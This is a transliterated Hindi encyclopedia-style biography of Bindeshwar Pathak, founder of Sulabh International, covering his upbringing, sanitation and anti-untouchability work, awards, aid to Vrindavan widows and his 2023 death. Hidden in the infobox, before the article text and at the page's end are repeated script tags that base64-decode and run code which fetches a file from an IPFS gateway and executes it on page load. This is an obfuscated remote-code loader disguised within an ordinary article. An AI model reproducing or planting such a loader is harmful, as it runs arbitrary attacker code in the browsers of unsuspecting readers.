बिन्देश्वर पाठक
bindeshvar pathak
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| poora nam | bindeshvar pathak |
| janm | 2 aprail, 1943 |
| janm bhoomi | baghel gaanv, zila vaishali, bihar |
| mrityu | 15 agast, 2023 |
| mrityu sthan | dilli |
| abhibhavak | mata- yogamaya devi pita- ramakaant pathak |
| karm bhoomi | bharat |
| karm-kshetr | samajik kary |
| shiksha | em.e. (samajashastr, 1980), em.e. (aangrezi, 1986), piechadi (1985) |
| puraskar-upadhi | padm vibhooshan, (2024) aantarrashtriy seant phraansis puraskar, 1992 |
| prasiddhi | samajik karyakarta |
| vishesh yogadan | 'sulabh iantaraneshanal' ke sansthapak |
| nagarikata | bharatiy |
| sanbandhit lekh | padm vibhooshan (2024) |
| any janakari | 'sulabh iantaraneshanal' ke sansthapak the, jo ek bharat-adharit samajik seva sangathan hai aur jo shiksha ke madhyam se manav adhikaroan, paryavaraniy svachchhata, oorja ke gair-paranparik srotoan, apashisht prabandhan aur samajik sudharoan ko badhava deta hai. |
| adyatan | 17:23, 27 janavari 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>bindeshvar pathak (aangrezi: Bindeshwar Pathak, janm- 2 aprail, 1943; mrityu- 15 agast, 2023) bharatiy samajashastri aur samajik udyami the. vah 'sulabh iantaraneshanal' ke sansthapak the, jo ek bharat-adharit samajik seva sangathan hai aur jo shiksha ke madhyam se manav adhikaroan, paryavaraniy svachchhata, oorja ke gair-paranparik srotoan, apashisht prabandhan aur samajik sudharoan ko badhava deta hai. bindeshvar pathak bharatiy relave ke svachchh rel mishan ke braand eanbesadar the. bindeshvar pathak ko varsh 2024 mean bharat sarakar ne padm vibhooshan (maranoparant) se sammanit kiya hai. bindeshvar pathak ko sulabh shauchalay ki shuruat karane ka aidiya tatkalin kalakhand ki kuvyavastha evan kupratha dekhakar aya tha. us samay mahilaoan ko khule mean shauch ke lie jana p data tha. us daur mean sir par maila dhone ki samasya aur khule mean shauch ki samasya samaj mean havi thi. donoan hi kshetr mean bindeshvar pathak ne kam karana shuroo kiya tha, jo ki itana asan bhi nahian tha.
praranbhik jivan
d aau. bindeshvar pathak ka janm 2 aprॅl, 1943 ko bihar ke vaishali jile ke ramapur baghel gaanv mean ek brahman parivar mean hua tha. unaki maan yogamaya devi aur pita ramakaant pathak the jo samuday ke ek sammanit sadasy the. bindeshvar pathak apani maan ke bahut karib the aur unase kaphi prabhavit the. bindeshvar pathak ke anusar- 'meri maan ne mujhe hamesha doosaroan ki madad karana sikhaya. usane madad ke lie ae kisi bhi vyakti ko mana nahian kiya. unase maianne badale mean kuchh bhi apeksha kie bina dena sikha. aisa kaha jata hai ki iansan apane lie nahian balki doosaroan ke lie paida hota hai.' bindeshvar pathak ne in moolyoan ko jivan mean jaldi hi shamil kar liya. eemanadari aur satyanishtha unake poore jivan aur kariyar mean margadarshak siddhaant rahe haian. 'sulabh iantaraneshanal', jis pratishthit sangathan ki unhoanne sthapana ki thi, vah un moolyoan par adharit udyam aur dridhata ke madhyam se banaya gaya tha.[1]
shiksha
bindeshvar pathak ne apana sara bachapan aur kishoravastha gaanv mean bitaee, jahaan unhoanne apani skooli shiksha poori ki. bad mean vah rajy ki rajadhani patana chale ge aur bien k aaulej mean dakhila liya, vahaan se unhoanne samajashastr mean snatak ki upadhi prapt ki. apani padhaee poori karane ke bad, unhoanne ek svayansevak ke roop mean patana mean gaandhi shatabdi samiti mean shamil hone se pahale kuchh samay tak ek shikshak ke roop mean kam kiya. halaanki, yah unaki mool yojana nahian thi. vah madhy pradesh ke sagar vishvavidyalay se aparadh vijnan mean snatakottar ki padhaee karana chahate the. jab pathak ne d aauktaret sahit apani agrim digriyaan poori kian, tab tak unaki shadi ho chuki thi aur unake bachche bhi the. us samay tak unake dvara sthapit sangathan 'sulabh iantaraneshanal' apani shuruat hi kar raha tha.
mishan svachchhata
bihar gaandhi shatabdi samiti ke lie kam karate samay bindeshvar pathak ko sangathan ke mahasachiv sarayoo prasad ne achhootoan ke manavadhikaroan aur samman ki bahali ke lie kam karane ke lie kaha. unhean betiya namak shahar mean bhej diya gaya. bindeshvar pathak kahate haian- "is sangathan ke lie kam karate samay unaki diksha mahatma gaandhi ke darshan se huee. gaandhiji ne dridhata se svachchhata ki vakalat ki aur harijanoan visheshakar hath se maila dhone valoan ke adhikaroan aur samman ko badhava dene ke prabal samarthak the. vah ek aise samadhan ki chahat rakhate the jo shushk shauchalayoan ki jagah le sake. maian unake uddeshy se behad prerit tha, jise unake apane jivan ke anubhavoan se aur bhi majabooti mili".
katu anubhav
ek bachche ke roop mean bindeshvar pathak ne aksar apani dadi ko shushk shauchalay saph karane ane vali mahilaoan ke sath bhedabhavapoorn vyavahar karate dekha tha. ve pichhale daravaje se pravesh kar gaye kyoanki unhean apavitr mana gaya. aur, unake jane ke bad vah yah sochakar jamin par ganga jal chhi dakati thi ki isase ghar shuddh ho jaega. ek bar pathak ne apani dadi ke samane jijnasavash ek achhoot mahila ko chhoo liya. parinam ganbhir the, unhean gay ka gobar aur mootr khane ke lie majaboor kiya gaya. unhean shuddh aur shuddh karane ke lie sardiyoan ki subah mean ganga jal se snan karaya gaya. yah gramin bharat mean achhootoan ke prati vyapt aandhavishvas aur bhedabhav ka star tha.[1]
jab ve bihar ke betiya namak kasbe mean the to unaki bachapan ki yadean taja ho geean. yahaan unhoanne samasyaoan ki bhayavahata ko pratyaksh roop se dekha. hath se maila dhone valoan ke samuday, jinhean achhoot bhi kaha jata hai ke sath krooratapoorvak vyavahar kiya jata tha aur lagabhag amanaviy jivan jine ki nianda ki jati thi. vishesh roop se ek ghatana ne amit chhap chho di. bindeshvar pathak kahate haian, ek din vahaan kam karate hue maianne ek dardanak ghatana dekhi. maianne dekha ki ek saand lal shart pahane ek l dake par hamala kar raha hai. jab log use bachane ke lie dau de to kisi ne chillakar kaha ki vah achhoot hai. bhi d ne turant usaka sath chho d diya aur use marane ke lie chho d diya. pathak age kahate haian, is dukhad aur anyayapoorn ghatana ne meri aantaratma ko aandar tak jhakajhor kar rakh diya tha. us din maianne mahatma gaandhi ke sapanoan ko poora karane ki shapath li, jo achhootoan ke adhikaroan ke lie l dana hai, balki apane desh aur duniya bhar mean manaviy garima aur samanata ke mudde ka samarthan karana hai. yah mera mishan ban gaya.
san 1968 mean achhootoan ki dayaniy sthiti se pareshan aur mahatma gaandhi ke darshan aur shikshaoan se prerit hokar bindeshvar pathak ek aisi takanik lekar ae jo shushk shauchalayoan ki jagah le sakati thi. unhoanne asha vyakt ki ki yah takanik aantatah bharat mean achhoot samuday dvara balti shauchalay saph karane ki samasya ko samapt kar degi.
dridhata aur dhairy
bindeshvar pathak ashvast the ki maila dhone valoan ko unake amanaviy vyavasay se mukt karane ke lie har ghar mean ek uchit shauchalay hona chahie. un dinoan bharatiy gaanvoan mean, adhikaansh gharoan mean shauchalay hi nahian hota tha. jin gharoan mean shauchalay the, ve shushk shauchalay the jinhean achhootoan dvara mainyual roop se saph kiya jana tha. khule mean shauch ek samany ghatana thi. mahilaean sabase jyada pi dit thian. unhean shauch ke lie aandhere mean subah jaldi ya sooryast ke bad bahar jana p data tha aur isalie aparadh, saanp ke katane aur yahaan tak ki janavaroan ke hamaloan ka jokhim bahut adhik tha. shauchalayoan ki kami ke karan bachche dayariya jaisi bimariyoan ki chapet mean a ge aur paanch sal ki umr se pahale hi kee bachchoan ki maut ho gee. sarvajanik shauchalayoan ki avadharana astitvahin thi.[1]
in b di samajik chunautiyoan ke bavajood bindeshvar pathak ki pariyojana shuroo mean shuroo nahian huee aur barahamasi naukarashahi prakriyaoan mean ulajh gee. pathak nishchint the. 'mujhe paisoan ki jaroorat thi, maianne apane gaanv mean jamin ka ek tuk da aur apani patni ke gahane bech die aur sangathan chalane ke lie dostoan se paise bhi udhar lie. mere jivan ka yah daur bahut kathin tha'. pathak yad karate haian. 'kabhi-kabhi maianne atmahatya ke bare mean bhi socha. chooanki mere pas paise nahian the. maian relave pletaf aaurm par sota tha aur aksar khana chho d deta tha. kaphi der tak koee kam najar nahian aya. maian ek dayaniy daur se gujar raha tha aur tootane ki kagar par tha.'
lekin sangharsh ke is charan ke dauran pathak ko ek mahatvapoorn salah mili. 1971 mean ek sivil sevak jisane dhan ki manjoori ke lie sarakar ke pas lanbit bindeshvar pathak ki phail ki samiksha ki thi, vah unake nek kam aur isake vyapak prabhav se prabhavit hua tha. bharat ki svachchhata samasyaoan ko hal karane mean yogadan dean. unhoanne salah di ki anudan maangane ke bajay, sulabh ko pariyojanaoan ko lagoo karane ke lie dhan lena chahie aur bachat se sangathan chalana chahie. is tarah sangathan tikaoo hoga aur is tarah ise sarakari anubandh milane ki adhik sanbhavana hogi. 1973 mean bindeshvar pathak ne bihar vidhan sabha ke ek sadasy (emele) ko bharat ki tatkalin pradhanamantri iandira gaandhi ko saphaeekarmiyoan ki sthiti aur mukti ke bare mean ek patr likhane ke lie raji kiya aur unase samasya par vyaktigat dhyan dene ka anurodh kiya. ek pakhava de ke bhitar unhean shrimati gaandhi se javab mila, jisamean kaha gaya tha ki vah is mamale par vyaktigat dhyan dene ke lie mukhyamantri ko likh rahi thian.
samman v puraskar
- varsh 2024 mean bindeshvar pathak ko bharat sarakar ne maranoparant padm vibhooshan se sammanit kiya hai.
- 1991 mean d aau. pathak ko hath se maila dhone valoan ki mukti aur punarvas ke lie unake mahan kary ke lie aur shushk shauchalayoan ke vikalp ke roop mean kam karane vali por-phlash shauchalay takanik pradan karake paryavaran pradooshan ko rokane ke lie padm bhooshan se sammanit kiya gaya tha.
- isake turant bad 1992 mean unako pop j aaun p aaul dvitiy dvara paryavaran ke lie 'aantarrashtriy seant phraansis puraskar' - kaiantikal aauph aaul kriechars se sammanit kiya gaya. joori ne ek bayan mean kaha ki pathak ko prithvi ki manaviy jimmedari ke prati, paryavaran aur samajik pratibaddhata ki vyapak aur anyonyashrit prakriti ke lie sarvasammati se chuna gaya tha.[1]
vidhavaoan ki garima ko punah sthapit karana
2012 mean bindeshvar pathak ne bharat ke sarvochch nyayalay ke adesh par ek mahan paropakari mishan chalaya. rashtriy kanooni seva pradhikaran chairiti dvara vidhavaoan ke lie rahane ki sthiti mean sudhar ke lie ek janahit yachika dayar karane ke bad, adalat ne darj kiya ki sarakar aur usaki ejeansiyaan vriandavan ki vidhavaoan ki pi da ko kam karane ke lie paryapt prayas nahian kar rahi thian. chairiti ne adalat ko bataya ki vrindavan ke sarakari ashray sthaloan mean halat itane kharab the ki jab ek vidhava ki mrityu ho jati thi, to usake sharir ko tuk doan mean kat diya jata tha aur usaka nipatan kar diya jata tha, kyoanki aantim sanskar ke lie paise nahian hote the. isake bad adalat ne 'sulabh iantaraneshanal' ko mahilaoan ko behatar sevaean aur dekhabhal pradan karane ka kam diya.
d aau. bindeshvar pathak turant unaki madad ke lie age badhe. bindeshvar pathak kahate haian, 'jab maian vidhavaoan ki sthiti ka pratyaksh anubhav lene ke lie 2012 mean pahali bar vrindavan gaya, to unaki hriday vidarak durdasha ke bare mean janakar maian bhayabhit ho gaya. yah amanaviy tha aur hamari sanskriti aur sabhyata par ek dhabba tha.' bindeshvar pathak ne vrindavan ki pratyek vidhava ko 2,000 rupaye ka masik vajipha dekar shuruat ki. vah kahate haian, 'paisa vidhavaoan ko bahut jaroori suraksha pradan karata hai aur ise ashray chalane vale adhikariyoan ko dene ke bajay sidhe unhean bhugatan karake, ham garanti dete haian ki unake pas paise par niyantran hai aur ve ise apani ichchhanusar kharch kar sakate haian.' vah kahate haian, 'chairiti mahilaoan ko padhane aur likhane, kadhaee aur momabatti banane sahit ne kaushal sikhane ke lie embuleans, mupht saptahik svasthy jaanch aur prashikshan bhi pradan karati hai'.
2013 se bindeshvar pathak purane riti-rivajoan ki avahelana karate hue bharatiy rangoan ke tyohar holi ke varshik utsav mean vidhavaoan ka netritv kar rahe haian, jo aj bhi bharat mean adhikaansh vidhavaoan ko punarvivah karane, tyohar manane ya rangin poshak pahanane se rokate haian. unake vidroh ke krity ne un kathor paranparaoan ko door karane ke bare mean deshavyapi bahas chhe d di jo vidhavaoan ko un avasaroan se vanchit karati haian jinaka bharat mean any mahilaean anand leti haian.[1]
mrityu
sarvajanik shauchalayoan ke nirman mean agrani 'sulabh iantaraneshanal' ke sansthapak aur samajik karyakarta 80 sal ke bindeshvar pathak ka mangalavar ke din 15 agast, 2023 ko dil ka daura p dane se dilli sthit 'akhil bharatiy ayurvijnan sansthan' mean nidhan hua.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>